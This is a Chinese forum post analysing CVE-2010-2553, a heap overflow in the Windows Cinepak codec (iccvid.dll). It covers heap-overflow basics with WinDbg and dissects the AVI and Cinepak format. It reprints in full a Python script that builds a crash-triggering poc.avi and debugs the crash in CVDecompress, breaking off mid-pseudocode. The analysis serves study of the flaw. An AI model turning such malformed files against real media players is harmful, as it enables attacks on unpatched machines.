首页
论坛
课程
招聘
[原创]我竟然发现了书中的一个bug:CVE-2010-2553 堆溢出漏洞分析
2021-7-22 18:37 7646

[原创]我竟然发现了书中的一个bug:CVE-2010-2553 堆溢出漏洞分析

2021-7-22 18:37
7646

0. 前言

这篇文章可以分为两大部分,前半部分根据《漏洞战争》的代码,在调试的过程中重新复习了一遍堆结构相关的知识,并学习了Windbg提供的堆调试选项;后半部分是对CVE-2010-2553分析,包括AVI格式分析以及漏洞函数代码分析。

 

在学习过程中发现了书中对AVI格式的介绍存在一些问题,同时对于溢出漏洞也有了更深的理解。

1. 堆溢出相关知识

之前一直在看栈溢出漏洞,这次选择堆溢出,之后也会各个漏洞轮流分析,加强一下记忆。

 

由于有一段时间没看过这部分内容,再加上《漏洞战争》中使用的是Windbg这个我不太熟悉的工具,所以决定完整的跟一遍前面的“堆溢出原理”小结,同时回顾一下自己在学习0day时总结的堆溢出漏洞笔记。

1.1 代码基本调试

注:书中该实验环境是Win7简体中文旗舰版,我使用的版本不同,结果并没有触发异常,这里也要分析一下原因

 

实验环境:WinXP SP3

 

实验代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <windows.h>
#include <stdio.h>
 
int main () {
    HANDLE hHeap;
    char *heap;
    char str[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
 
    hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS, 0x1000, 0xffff);
    __asm int 3
 
    heap = (char *)HeapAlloc(hHeap, 0, 0x10);
    printf("heap addr: 0x%08x\n", heap);
 
    strcpy(heap, str);
    HeapFree(hHeap, 0, heap);
 
    HeapDestroy(hHeap);
 
    return 0;
}

程序在int 3中断并进入调试器之后,刚刚执行完HeapCreate,起始地址为0x3a0000,根据0day中学到的知识,偏移0x178的位置是空表索引区:

1
2
3
4
5
6
7
8
9
0:000> dd 3a0178
003a0178  003a0688 003a0688 003a0180 003a0180
003a0188  003a0188 003a0188 003a0190 003a0190
003a0198  003a0198 003a0198 003a01a0 003a01a0
003a01a8  003a01a8 003a01a8 003a01b0 003a01b0
003a01b8  003a01b8 003a01b8 003a01c0 003a01c0
003a01c8  003a01c8 003a01c8 003a01d0 003a01d0
003a01d8  003a01d8 003a01d8 003a01e0 003a01e0
003a01e8  003a01e8 003a01e8 003a01f0 003a01f0

可以看到0x003a0688那里就是Freelist[0]中唯一一个空的堆块:

1
2
3
4
5
6
7
8
9
0:000> db 3a0680
003a0680  30 01 08 00 00 10 00 00-78 01 3a 00 78 01 3a 00  0.......x.:.x.:.
003a0690  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
003a06a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
003a06b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
003a06c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
003a06d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
003a06e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
003a06f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

这个空的堆块大小为0x130*8=0x980字节,后面的两个0x003a0178就构成了一个双向链表。

 

F10继续往下执行,执行完HeapAlloc之后:

1
2
3
4
5
6
7
8
9
0:000> db 3a0680
003a0680  03 00 08 00 15 01 08 00-78 01 3a 00 78 01 3a 00  ........x.:.x.:.
003a0690  00 00 00 00 00 00 00 00-2d 01 03 00 00 10 00 00  ........-.......
003a06a0  78 01 3a 00 78 01 3a 00-00 00 00 00 00 00 00 00  x.:.x.:.........
003a06b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
003a06c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
003a06d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
003a06e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
003a06f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

首字节0x03表示该块的大小为3*8=24字节,包含16字节的数据区域和8字节的块首,之前保存了双向链表指针的区域虽然内容没有发生变化,但是这里已经用来存在数据了。而0x003a06a0处则存在放了新的空闲堆块双向链表指针。

 

也可以使用Windbg中的!heap指令查看堆块的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0:000> !heap -p
 
    No GlobalFlag bits active for this process
    active heaps:
 
 - 140000
          HEAP_GROWABLE
 - 240000
          HEAP_GROWABLE HEAP_CLASS_1
 - 250000
          HEAP_CLASS_8
 - 380000
          HEAP_NO_SERIALIZE HEAP_GROWABLE HEAP_CLASS_1
 - 3a0000
          HEAP_GENERATE_EXCEPTIONS HEAP_CLASS_1
 
0:000> !heap -p -h 0x3a0000
    _HEAP @ 3a0000
      No FrontEnd
      _HEAP_SEGMENT @ 3a0640
       CommittedRange @ 3a0680
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        003a0680 0003 0000  [01]   003a0688    00010 - (busy)
        003a0698 012d 0003  [10]   003a06a0    00960 - (free)
       VirtualAllocdBlocks @ 3a0050

在我们分配的0x10的堆块后面,0x3a0698处有一个大小为0x960的空闲堆块。获得了堆块的地址之后,可以使用dt struct addr查看具体的结构体成员值:

1
2
3
4
5
6
7
8
9
10
0:000> dt _HEAP_FREE_ENTRY 0x003a0698
ntdll!_HEAP_FREE_ENTRY
   +0x000 Size             : 0x12d
   +0x002 PreviousSize     : 3
   +0x000 SubSegmentCode   : 0x0003012d Void
   +0x004 SmallTagIndex    : 0 ''
   +0x005 Flags            : 0x10 ''
   +0x006 UnusedBytes      : 0 ''
   +0x007 SegmentIndex     : 0 ''
   +0x008 FreeList         : _LIST_ENTRY [ 0x3a0178 - 0x3a0178 ]

这时这个空闲堆块一切正常。继续执行完字符串的复制之后:

1
2
3
4
5
6
7
8
9
10
0:000> dt _HEAP_FREE_ENTRY 0x003a0698
ntdll!_HEAP_FREE_ENTRY
   +0x000 Size             : 0x4141
   +0x002 PreviousSize     : 0x4141
   +0x000 SubSegmentCode   : 0x41414141 Void
   +0x004 SmallTagIndex    : 0x41 'A'
   +0x005 Flags            : 0x41 'A'
   +0x006 UnusedBytes      : 0x41 'A'
   +0x007 SegmentIndex     : 0x41 'A'
   +0x008 FreeList         : _LIST_ENTRY [ 0x41414141 - 0x41414141 ]

可以看到,由于复制的字符串长度大于堆块的大小,数据发生了溢出,将后面空闲堆块中存放的双向链表指针覆盖成了0x41414141

 

按照书中的构想,接下来在执行HeapFree的时候,会合并这块分配出来的堆块和后面的空闲堆块,从空闲堆块的链表指针中获取下一个堆块地址,进行写入操作,从而触发异常。但是在我的实验中,并没有发生异常,通过调试,发现这一块代码:

1
2
3
4
5
6
0:000> p
eax=00000003 ebx=00000004 ecx=7ffdd000 edx=003a0608 esi=003a0680 edi=003a0000
eip=7c910ac2 esp=0012fe7c ebp=0012ff38 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!RtlFreeHeap+0x30a:
7c910ac2 8d9cc778010000  lea     ebx,[edi+eax*8+178h]

注意这里经过计算后,得到的ebx的值是0x3a0190,也就是24字节的freelist[3]在空表索引区的位置,然后执行了下面的操作:

1
2
3
4
5
6
0:000> p
eax=003a0688 ebx=003a0190 ecx=003a0190 edx=00000008 esi=003a0680 edi=003a0000
eip=7c910b07 esp=0012fe7c ebp=0012ff38 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!RtlFreeHeap+0x34f:
7c910b07 8918            mov     dword ptr [eax],ebx  ds:0023:003a0688=41414141

将之前分配的堆块中双向链表指针的位置修改成了0x3a0190。也就是说在我的实验环境中,新释放的这个堆块并没有和后面的空闲堆块合并,而是被分配到了freelist[3]中,因此也就没有触发异常。

1.2 Windbg提供的堆调试选项

在Windbg中可以使用!gflag [-? | flags]命令设置或取消对应GlobalFlags,从而实现堆调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
0:000> !gflag -?
usage: !gflag [-? | flags]
Flags may either be a single hex number that specifies all
32-bits of the GlobalFlags value, or it can be one or more
arguments, each beginning with a + or -, where the + means
to set the corresponding bit(s) in the GlobalFlags and a -
means to clear the corresponding bit(s).  After the + or -
may be either a hex number or a three letter abbreviation
for a GlobalFlag.  Valid abbreviations are:
    soe - Stop On Exception
    sls - Show Loader Snaps
    htc - Enable heap tail checking
    hfc - Enable heap free checking
    hpc - Enable heap parameter checking
    hvc - Enable heap validation on call
    vrf - Enable application verifier
    htg - Enable heap tagging
    ust - Create user mode stack trace database
    htd - Enable heap tagging by DLL
    dse - Disable stack extensions
    scb - Enable system critical breaks
    dhc - Disable Heap Coalesce on Free
    hpa - Place heap allocations at ends of pages
    cse - Early critical section event creation
    dpd - Disable protected DLL verification

其中比较重要的有:

  • htc:堆尾检查,在堆块末尾附加额外信息,检查是否溢出
  • hfc:堆释放检查,在释放堆块时进行各种检查,防止多次释放
  • hpc:堆参数检查,对传递给堆管理的参数进行更多检查
  • hpa:启用页堆,在堆块后增加用于检测溢出的栅栏页,若发生堆溢出触及栅栏页会立刻触发异常。

    设置这个标志可以定位到导致漏洞的代码或函数

2. 漏洞介绍

CVE-2010-2553存在于Microsoft Windows XP SP2和SP3, Windows Vista SP1和SP2, 以及Windows 7的Cinepak解码器中,iccvid.dll在解压缩媒体文件时,没有对缓冲区大小进行检测,导致在复制压缩数据时造成堆溢出。

3. 文件格式介绍

exploit-db网站上,有ABYSSSEC提供的poc文件生成代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import sys
 
def main():
 
    aviHeaders = '\x52\x49\x46\x46\x58\x01\x00\x00\x41\x56\x49\x20\x4C\x49\x53\x54\xC8\x00\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\xA0\x86\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x4E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\x7C\x00\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x63\x76\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x4E\x00\x00\x00\x20\x74\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x60\x01\x20\x01\x73\x74\x72\x66\x28\x00\x00\x00\x28\x00\x00\x00\x50\x01\x00\x00\x20\x01\x00\x00\x01\x00\x18\x00\x63\x76\x69\x64\x84\x8D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    padding = '\x4A\x55\x4E\x4B\x00\x00\x00\x00\x4A\x55\x4E\x4B\x00\x00\x00\x00'
    movi_tag = '\x4C\x49\x53\x54\x5C\x00\x00\x00\x6D\x6F\x76\x69\x30\x30\x64\x63\x10\x00\x00\x00'
    cinepak_codec_data1 = '\x00\x00\x00\x68\x01\x60\x01\x20'
    number_of_coded_strips = '\x00\x10'
    cinepak_codec_data2 = '\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00'
    idx_tag = '\x69\x64\x78\x31\x10\x00\x00\x00\x30\x30\x64\x63\x10\x00\x00\x00\x04\x00\x00\x00\x68\x00\x00\x00'
 
    avifile = open('poc.avi', 'wb+')
    avifile.write(aviHeaders)
    avifile.write(padding)
    avifile.write(movi_tag)
    avifile.write(cinepak_codec_data1)
    avifile.write(number_of_coded_strips)
    avifile.write(cinepak_codec_data2)
    avifile.write(idx_tag)
 
    avifile.close()
    print '[-] AVI file generated'
 
if __name__ == '__main__':
    main()

因为了解avi格式只是用于分析漏洞,不需要太详尽,所以只根据这份代码生成的poc文件来看文件格式。

3.1 avi格式

AVI文件采用RIFF文件格式,这种文件格式的基本单元是块(CHUNK):

1
2
3
4
5
struct chunk {
    uint32_t ID;         //块标识符
    uint32_t Size;       //块数据大小
    uint8_t  Data[Size]; //块数据
};

一个AVI文件结构可以参考下图:

 

图片描述

 

按照这种格式对POC文件进行标注,得到:

 

图片描述

 

根据上图的信息,真正的cvid数据应该在movi块中偏移12个字节的位置(偏移4是00dc标识符,偏移8是数据长度)

3.2 cvid压缩格式

以下格式的理解参考cinepak文档,可能有错误,与《漏洞战争》中的分析也有不同,后面调试的时候会尝试进行验证。

 

cvid数据内容如下:

1
2
3
4
5
0000h    00 00 00 68 01 60 01 20 00 10 10 00 00 10 00 00
0010h    00 00 00 60 01 60 20 00 00 00 11 00 00 10 41 41
0020h    41 41 41 41 41 41 41 41 41 41 11 00 00 10 41 41
0030h    41 41 41 41 41 41 41 41 41 41 11 00 00 10 41 41
0040h    41 41 41 41 41 41 41 41 41 41 11 00 00 10 41 00

根据文档,Cinepak视频流通常由如下几个部分组成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
+-----------------------+
| Frame Header          |
+-----------------------+
| Strip 1 Header        |
+-----------------------+
| Strip 1 Codebooks     |
+-----------------------+
| Strip 1 Frame Vectors |
+-----------------------+
| Strip 2 Header        |
+-----------------------+
| Strip 2 Codebooks     |
+-----------------------+
| Strip 2 Frame Vectors |
+-----------------------+
| Strip 3 Header        |
+-----------------------+
|    .      .      .    |
     .      .      .    
|    .      .      .    |
+-----------------------+

其中Frame Header长度为10个字节,格式如下,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
    7 6 5 4 3 2 1 0        Field Name                    Type           Value
   +---------------+
0  |0 0 0 0 0 0 0 0|       Flags                         Byte              0
   +---------------+
1  |0 0 0 0 0 0 0 0|       Length of CVID data           Unsigned       0x68
   +-             -+
2  |0 0 0 0 0 0 0 0|
   +-             -+
3  |0 1 1 0 1 0 0 0|
   +---------------+
4  |0 0 0 0 0 0 0 1|       Width of coded frame          Unsigned       0x160
   +-             -+
5  |0 1 1 0 0 0 0 0|
   +---------------+
6  |0 0 0 0 0 0 0 1|       Height of coded frame         Unsigned       0x120
   +-             -+
7  |0 0 1 0 0 0 0 0|
   +---------------+
8  |0 0 0 0 0 0 0 0|       Number of coded strips        Unsigned       0x10
   +-             -+
9  |0 0 0 1 0 0 0 0|
   +---------------+

从Frame Header中可以得到CVID数据长度为0x68,strip的数量是16个,接下来就是strip的内容了,先看一下Strip 1 Header结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
     7 6 5 4 3 2 1 0        Field Name                    Type           Value
    +---------------+
 0  |0 0 0 1 0 0 0 0|       Strip CVID ID                 Unsigned       0x1000
    +-             -+
 1  |0 0 0 0 0 0 0 0|
    +---------------+
 2  |0 0 0 0 0 0 0 0|       Size of strip data            Unsigned       0x10      
    +-             -+
 3  |0 0 0 1 0 0 0 0|
    +---------------+
 4  |0 0 0 0 0 0 0 0|       Strips top Y position         Unsigned       0x0
    +-             -+
 5  |0 0 0 0 0 0 0 0|
    +---------------+
 6  |0 0 0 0 0 0 0 0|       Strips top X position         Unsigned       0x0
    +-             -+
 7  |0 0 0 0 0 0 0 0|
    +---------------+
 8  |0 0 0 0 0 0 0 0|       Strips bottom Y position      Unsigned       0x60
    +-             -+
 9  |0 1 1 0 0 0 0 0|
    +---------------+
10  |0 0 0 0 0 0 0 1|       Strips bottom X position      Unsigned       0x160
    +-             -+
11  |0 1 1 0 0 0 0 0|
    +---------------+

这个strip的数据长度是16字节。

 

紧跟在Header之后的是CVID Chunk,Codebooks和Frame Vectors都在这个结构里面,其结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
    7 6 5 4 3 2 1 0        Field Name                    Type          Value
   +---------------+
0  |0 0 1 0 0 0 0 0|       CVID Chunk ID                 Unsigned      0x2000
   +-             -+
1  |0 0 0 0 0 0 0 0|
   +---------------+
2  |0 0 0 0 0 0 0 0|       Size of chunk data (N)        Unsigned      0x0
   +-             -+
3  |0 0 0 0 0 0 0 0|
   +---------------+
4  |               |
   +-             -+
5  |               |
   +-   . . . .   -+
   |               |       Chunk data (N - 4 bytes)      Byte
   +-             -+
N  |               |
   +---------------+

所以这个chunk的大小是0。正好这里也到达了strip 1的16个字节的长度要求。下面应该是下一个strip了(这里书中说的我和理解的不一样,书中说这里是下一个chunk ID)。

 

总体来看结构是这样的:

 

图片描述

 

图片描述

 

CVID的数据长度为0x68,超过了已有数据长度。除此之外,strip 2的长度在header中定义的是16个字节,但是里面的chunk数据长度为0x4141,这肯定是有问题的。不过不知道异常触发是不是这个原因,还需要进一步分析。

4. 漏洞调试分析

4.1 定位漏洞函数

打开Windows Media Player,使用Windbg附加到该进程,然后启用页堆,打开poc文件

 

定位漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
0:011> !gflag +hpa
New NtGlobalFlag contents: 0x02000000
    hpa - Place heap allocations at ends of pages
0:011> g
ModLoad: 73760000 737ab000   C:\WINDOWS\system32\ddraw.dll
ModLoad: 73bc0000 73bc6000   C:\WINDOWS\system32\DCIMAN32.dll
ModLoad: 75f80000 7607d000   C:\WINDOWS\system32\browseui.dll
ModLoad: 763b0000 763f9000   C:\WINDOWS\system32\comdlg32.dll
ModLoad: 77b40000 77b62000   C:\WINDOWS\system32\appHelp.dll
ModLoad: 77a20000 77a74000   C:\WINDOWS\System32\cscui.dll
ModLoad: 76600000 7661d000   C:\WINDOWS\System32\CSCDLL.dll
ModLoad: 76990000 769b5000   C:\WINDOWS\system32\ntshrui.dll
ModLoad: 76b20000 76b31000   C:\WINDOWS\system32\ATL.DLL
ModLoad: 71b20000 71b32000   C:\WINDOWS\system32\MPR.dll
ModLoad: 02b00000 02b10000   C:\WINDOWS\System32\vmhgfs.dll
ModLoad: 75f60000 75f67000   C:\WINDOWS\System32\drprov.dll
ModLoad: 71c10000 71c1e000   C:\WINDOWS\System32\ntlanman.dll
ModLoad: 71cd0000 71ce7000   C:\WINDOWS\System32\NETUI0.dll
ModLoad: 71c90000 71cd0000   C:\WINDOWS\System32\NETUI1.dll
ModLoad: 71c80000 71c87000   C:\WINDOWS\System32\NETRAP.dll
ModLoad: 71bf0000 71c03000   C:\WINDOWS\System32\SAMLIB.dll
ModLoad: 75f70000 75f7a000   C:\WINDOWS\System32\davclnt.dll
ModLoad: 73d70000 73d83000   C:\WINDOWS\system32\shgina.dll
ModLoad: 75970000 75a68000   C:\WINDOWS\system32\MSGINA.dll
ModLoad: 74320000 7435d000   C:\WINDOWS\system32\ODBC32.dll
ModLoad: 76360000 76370000   C:\WINDOWS\system32\WINSTA.dll
ModLoad: 02c80000 02c97000   C:\WINDOWS\system32\odbcint.dll
ModLoad: 73b50000 73b67000   C:\WINDOWS\system32\AVIFIL32.dll
ModLoad: 76980000 76988000   C:\WINDOWS\system32\LINKINFO.dll
ModLoad: 73d70000 73d83000   C:\WINDOWS\system32\shgina.dll
ModLoad: 73760000 737ab000   C:\WINDOWS\system32\ddraw.dll
ModLoad: 73bc0000 73bc6000   C:\WINDOWS\system32\DCIMAN32.dll
ModLoad: 74810000 7497d000   C:\WINDOWS\system32\quartz.dll
ModLoad: 75f40000 75f51000   C:\WINDOWS\system32\devenum.dll
ModLoad: 73760000 737ab000   C:\WINDOWS\system32\DDRAW.dll
ModLoad: 73bc0000 73bc6000   C:\WINDOWS\system32\DCIMAN32.dll
ModLoad: 73940000 73a10000   C:\WINDOWS\system32\D3DIM700.DLL
ModLoad: 73c00000 73c17000   C:\WINDOWS\system32\iccvid.dll
(d4c.794): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00006000 ebx=02891958 ecx=000003f4 edx=0af0fd38 esi=0289b000 edi=0289d000
eip=73c022cc esp=0af0fd04 ebp=0af0fd30 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
iccvid!CVDecompress+0x11e:
73c022cc f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

通过查看调用栈,找到漏洞函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
0:016> kb
ChildEBP RetAddr  Args to Child             
0af0fd30 73c0cbf3 00000004 00000000 00000068 iccvid!CVDecompress+0x11e
0af0fd60 73c066c8 00134c60 00000000 000d3580 iccvid!Decompress+0x11d
0af0fdac 75a71938 00134c60 00000001 0000400d iccvid!DriverProc+0x1bf
0af0fdd0 7482fa9e 75a8b500 0000400d 0af0fde8 MSVFW32!ICSendMessage+0x2b
0af0fe00 7482f9e9 75a8b500 00000000 000d3580 quartz!CVFWDynLink::ICDecompress+0x3e
0af0fec0 74830a55 00e269f8 026335e0 00000000 quartz!CAVIDec::Transform+0x282
0af0feec 74830939 00e269f8 00000000 00e272a8 quartz!CVideoTransformFilter::Receive+0x110
0af0ff00 7482e67a 00e0d324 00e269f8 0af0ff40 quartz!CTransformInputPin::Receive+0x33
0af0ff10 74830ca0 00e269f8 00040103 00e272a8 quartz!CBaseOutputPin::Deliver+0x22
0af0ff40 74830e1c 0af0ff70 0af0ff6c 00000000 quartz!CBaseMSRWorker::TryDeliverSample+0x102
0af0ff84 7482ce30 00000000 00e272a8 00e272a8 quartz!CBaseMSRWorker::PushLoop+0x15e
0af0ff9c 7482dbe6 00000000 7482a121 00000000 quartz!CBaseMSRWorker::DoRunLoop+0x4a
0af0ffa4 7482a121 00000000 774ec8a0 0af0ffec quartz!CBaseMSRWorker::ThreadProc+0x39
0af0ffb4 7c80b713 00e272a8 00000000 774ec8a0 quartz!CAMThread::InitialThreadProc+0x15
0af0ffec 00000000 7482a10c 00e272a8 00000000 kernel32!BaseThreadStart+0x37
0:016> ub iccvid!Decompress+0x11d
iccvid!Decompress+0x102:
73c0cbd8 ffb698000000    push    dword ptr [esi+98h]
73c0cbde 57              push    edi
73c0cbdf ff7528          push    dword ptr [ebp+28h]
73c0cbe2 ff752c          push    dword ptr [ebp+2Ch]
73c0cbe5 ff7530          push    dword ptr [ebp+30h]
73c0cbe8 ff7514          push    dword ptr [ebp+14h]
73c0cbeb ff765c          push    dword ptr [esi+5Ch]
73c0cbee e8bb55ffff      call    iccvid!CVDecompress (73c021ae)

现在找到了漏洞函数的位置0x73c0cbee,需要在这里下断点重新调试,但是这个地址位于iccvid.dll文件中,只有在程序加载完该DLL文件后才能在这里下断点。

4.2 DLL函数调试

重新附加到Windows Media Player上面,执行命令sxe ld:iccvid,然后打开poc文件,这时会中断在程序加载iccvid.dll的时候,这时再下断点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
0:009> sxe ld:iccvid
0:009> g
ModLoad: 73c00000 73c17000   C:\WINDOWS\system32\iccvid.dll
eax=00000001 ebx=00000000 ecx=00000044 edx=000a2ee0 esi=00000000 edi=00000000
eip=7c90e4f4 esp=0230e28c ebp=0230e380 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!KiFastSystemCallRet:
7c90e4f4 c3              ret
0:010> bp 0x73c0cbee
0:010> g
Breakpoint 0 hit
eax=00000001 ebx=01c8fd88 ecx=0005e2c0 edx=fffffee0 esi=00121e08 edi=0293f820
eip=73c0cbee esp=01c8fd38 ebp=01c8fd60 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
iccvid!Decompress+0x118:
73c0cbee e8bb55ffff      call    iccvid!CVDecompress (73c021ae)

F11步入这个函数,然后看一下这时候的调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0:005> kb
ChildEBP RetAddr  Args to Child             
01c8fd30 73c0cbf3 0011e078 02676af8 00000068 iccvid!CVDecompress
01c8fd60 73c066c8 00121e08 00000000 00170f80 iccvid!Decompress+0x11d
01c8fdac 75a71938 00121e08 00000001 0000400d iccvid!DriverProc+0x1bf
01c8fdd0 7482fa9e 75a8b500 0000400d 01c8fde8 MSVFW32!ICSendMessage+0x2b
01c8fe00 7482f9e9 75a8b500 00000000 00170f80 quartz!CVFWDynLink::ICDecompress+0x3e
01c8fec0 74830a55 00e03cd8 00e2c240 00000000 quartz!CAVIDec::Transform+0x282
01c8feec 74830939 00e03cd8 00000000 00e2b050 quartz!CVideoTransformFilter::Receive+0x110
01c8ff00 7482e67a 00dbc30c 00e03cd8 01c8ff40 quartz!CTransformInputPin::Receive+0x33
01c8ff10 74830ca0 00e03cd8 00040103 00e2b050 quartz!CBaseOutputPin::Deliver+0x22
01c8ff40 74830e1c 01c8ff70 01c8ff6c 00000000 quartz!CBaseMSRWorker::TryDeliverSample+0x102
01c8ff84 7482ce30 00000000 00e2b050 00e2b050 quartz!CBaseMSRWorker::PushLoop+0x15e
01c8ff9c 7482dbe6 00000000 7482a121 00000000 quartz!CBaseMSRWorker::DoRunLoop+0x4a
01c8ffa4 7482a121 00000000 000a0178 01c8ffec quartz!CBaseMSRWorker::ThreadProc+0x39
01c8ffb4 7c80b713 00e2b050 00000000 000a0178 quartz!CAMThread::InitialThreadProc+0x15
01c8ffec 00000000 7482a10c 00e2b050 00000000 kernel32!BaseThreadStart+0x37

可以看到当前函数的参数,第三个参数是0x68,就是我们上面分析的CVID数据长度。再加上对于漏洞本身的了解,合理猜测前面两个参数是数据复制的目的地址和源地址,看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0:005> db 11e078
0011e078  3b 9f c0 73 3b 9f c0 73-bc 4f c0 73 3e 52 c0 73  ;..s;..s.O.s>R.s
0011e088  7b 53 c0 73 5c 75 c0 73-5c 75 c0 73 78 1e 17 00  {S.s\u.s\u.sx...
0011e098  78 1e 17 00 00 00 00 00-50 01 20 01 00 00 01 00  x.......P. .....
0011e0a8  00 00 00 00 78 7e 17 00-00 00 00 00 00 00 00 00  ....x~..........
0011e0b8  05 00 09 00 ae 01 08 00-e8 e0 11 00 00 00 00 00  ................
0011e0c8  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
0011e0d8  00 00 00 00 00 00 00 00-05 00 05 00 a5 01 08 00  ................
0011e0e8  38 e1 11 00 00 00 00 00-00 00 00 00 00 00 00 00  8...............
0:005> dds 11e078
0011e078  73c09f3b iccvid!ExpandCodeBook32
0011e07c  73c09f3b iccvid!ExpandCodeBook32
0011e080  73c04fbc iccvid!DrawKey32
0011e084  73c0523e iccvid!DrawSmooth32
0011e088  73c0537b iccvid!DrawInter32
0011e08c  73c0755c iccvid!DetailCodeFromRGBa8888
0011e090  73c0755c iccvid!DetailCodeFromRGBa8888
0011e094  00171e78
0011e098  00171e78
0011e09c  00000000
0011e0a0  01200150 xpsp2res+0x1e0150
0:005> db 2676af8
02676af8  00 00 00 68 01 60 01 20-00 10 10 00 00 10 00 00  ...h.`. ........
02676b08  00 00 00 60 01 60 20 00-00 00 11 00 00 10 41 41  ...`.` .......AA
02676b18  41 41 41 41 41 41 41 41-41 41 11 00 00 10 41 41  AAAAAAAAAA....AA
02676b28  41 41 41 41 41 41 41 41-41 41 11 00 00 10 41 41  AAAAAAAAAA....AA
02676b38  41 41 41 41 41 41 41 41-41 41 11 00 00 10 41 00  AAAAAAAAAA....A.
02676b48  69 64 78 31 10 00 00 00-30 30 64 63 10 00 00 00  idx1....00dc....
02676b58  04 00 00 00 68 00 00 00-00 00 00 00 00 00 00 00  ....h...........
02676b68  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

第二个参数0x2676af8处的数据是不是特别眼熟,就是上面的CVID数据,看来第二个参数确实是源数据,b( ̄▽ ̄)d。而第一个参数那里保存的是一些函数地址,不知道有什么用(后来发现这里的一块空间应该是用于存储数据的)。

4.3 漏洞函数代码分析

接下来我是IDA+Windbg同步进行分析的,由于Windbg的结果贴上来实在太冗杂了,所以直接贴上IDA中的代码分析结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
int __stdcall CVDecompress(ULONG data, int src, int length, int a4, int a5, int a6, int a7)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
 
  data_ = data;
  v8 = *(data + 36);
  if...
  result = 0;
  if ( length >= 0x20 )
  {
    src_ = src;
    BYTE1(result) = *(src + 1);
    LOBYTE(result) = *(src + 2);
    v11 = *(src + 3) | (result << 8);           // 这里得到的还是length, 0x68
